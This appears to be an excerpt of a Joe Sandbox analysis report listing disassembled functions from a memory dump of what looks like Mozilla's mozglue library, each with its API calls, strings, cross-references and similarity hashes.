API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction ID: 50a75a8df81bdbf4fbc7667b6d45fd098a4b3753a183403824a3fb99ba76178c
Opcode Fuzzy Hash: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction Fuzzy Hash: 0501B9B1A00105AFDB005BA5DC8ADAF7BBCEF89255F010425FA05A3241D6717918CBA9

Function 6C679E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
(root), xrefs: 6C6A354F
expected a Time entry, xrefs: 6C6A2E36

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C6B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

-Infinity, xrefs: 6C6B9E60, 6C6B9E7B
NaN, xrefs: 6C6B9EAB

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C65D852
@, xrefs: 6C65DAF6
8, xrefs: 6C65DC08
-, xrefs: 6C65D7DD
1, xrefs: 6C65DBDD
0, xrefs: 6C65DC7F
9, xrefs: 6C65DE7F
, xrefs: 6C65DA88

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C9459, 6C6C921F, 6C6C56C7, 6C6C5703, 6C6C5740, 6C6C9269, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C9459, 6C6C921F, 6C6C56C7, 6C6C5703, 6C6C5740, 6C6C9269, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C6BC431
ntdll.dll, xrefs: 6C6BC413

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C669F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C66A625
0, xrefs: 6C66AB22
0, xrefs: 6C66A100
1, xrefs: 6C66A824
9, xrefs: 6C66A5D6
' , xrefs: 6C66A3D8

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction ID: b43a99b024e746f77dff5b3497ef81521bc4a43fda2ff7c323182478ba13ad1a
Opcode Fuzzy Hash: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction Fuzzy Hash: 4F82C2315093318BD710CF1BC4902AEB7E1EB85718F658A2EE8D557E92D335E885CB8B

Function 6C65BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C6A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A7A93

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A7AA1

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C6A7B31

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction ID: eb805a557cc71c73acb2cf890751559337e9d58a37693480d16937fe35f10b65
Opcode Fuzzy Hash: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction Fuzzy Hash: 01B17C356083808BCB18CEA4C4507AFB7E2ABC5318F154A1DE99567795DB70ED0BCB8A

Function 6C678850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C679813, 6C67985D, 6C679878, 6C679CEB
MOZ_CRASH(), xrefs: 6C6797EA

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction ID: 6d98e4cdb4ba5d77c64b6df662f6a3e74dd51cc53f5a203ab7bd10060c00b1c9
Opcode Fuzzy Hash: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction Fuzzy Hash: E6D2BF71A157018FD728CF28C590715BBE1BF85328F29CB6DD86A8B7A5C731E841CB98

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C6BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C68FE3F), ref: 6C6BB720
RtlNtStatusToDosError.NTDLL ref: 6C6BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C68FE3F), ref: 6C6BB760

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction ID: 5b42e74288275a96b765d79dbabcdf8626d36713d07171290019033c0f3b5b47
Opcode Fuzzy Hash: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction Fuzzy Hash: 1BF0A4B0A0020CAEDF019AA28CC4BDE77BCDB44319F105139D511715C0D77495DCC76D

Function 6C674640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C79C0, 6C6C793C, 6C6C7E0B, 6C6C79FB, 6C6C7B0B, 6C6C7796

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C79C0, 6C6C793C, 6C6C7E0B, 6C6C79FB, 6C6C7B0B, 6C6C7C72, 6C6C7C03

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
